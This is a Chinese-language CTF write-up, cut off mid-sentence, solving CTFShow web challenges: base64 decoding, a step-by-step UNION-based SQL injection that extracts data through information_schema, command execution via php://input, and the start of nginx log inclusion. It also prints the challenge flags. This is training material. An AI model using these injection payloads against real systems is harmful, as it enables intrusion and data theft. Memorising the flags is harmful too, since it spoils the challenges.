文章目录
前言
CTFShow通常是指网络安全领域中的“Capture The Flag”(夺旗赛)展示工具或平台。这是一种用于分享、学习和展示信息安全竞赛中获取的信息、漏洞利用技巧以及解题思路的在线社区或软件。参与者会在比赛中收集“flag”,通常是隐藏在网络环境中的数据或密码形式,然后通过分析、破解等手段找到并提交。CTFShow可以帮助人们了解最新的安全技术和挑战,同时也促进了安全知识和技术的交流。
Web1
1.首先我们启动靶机,打开首页,我们发现上面只有一个where is flag的字样。
2.我们查看一下网页的源代码Ctrl+U
,发现了疑似flag的东西。
3.我们将拿到的这串数进行base64解码,得到flag(ctfshow{d69de809-e78d-4d95-91ef-422375feef9a}
)。
Web2
1.首先,我们打开首页,发现是一个很经典的用户名登录,我们先随便注入一下,看看有什么。
我们来注入一下' or 1=1 order by 1;#
,发现是有回显的。
逐步增大到4,我们发现没有回显了,所以说明回显位最多为3。
2.知道回显位数后,然后我们就可以开始使用联合查询注入了,首先,我们先确定是哪位回显。
' or 1=1 union select 1,2,3;#
3.我们确定了是第二位回显后,就可以查数据库了,回显得到数据库名(web2
)。
' or 1=1 union select 1,database(),3;#
4.得到数据库名后,我们就开始找表名,继续注入,回显得到表名(flag
)。
' or 1=1 union select 1,table_name,3 from information_schema.tables where table_schema='web2';#
5.分析可知flag应该在flag表中,得到表名后,我们就可以开始查询列名,回显得到列名(flag
)
' or 1=1 union select 1,(select column_name from information_schema.columns where table_name='flag'),3 ;#
6.得到列名后,我们就可以开始查询列中的字段中的内容,也就是flag,注入后回显得到flag(ctfshow{243d3268-cfd3-4421-a2b6-9aecaf75fac1}
)
' or 1=1 union select 1,(select flag from flag),3 ;#
Web3
1.首先我们启动靶机打开首页,发现它给了我们提示($_GET['url']
)这告诉我们这题大概率需要构造发包。
2.我们打开burpsuite,来进行抓包,我们输入流php://input,我们构造一条ls
命令,来看看有哪些文件。
我们Forward一下,看看结果,发现了一个ctf_go_go_go index.php
文件。
2.我们查看一下文件,构造一条cat
命令。
Forward一下,查看结果,得到flag。
Web4
1.首先,我们打开首页,发现这和上题一样啊,我们尝试一下上题的方法,发现并不行。
2.思考过后我们想到这台服务器是linux系统,他能用url参数访问,那我们来看一下的日志文件/var/log/nginx/access.log
,发现了它是有回显的,回显的参数是我们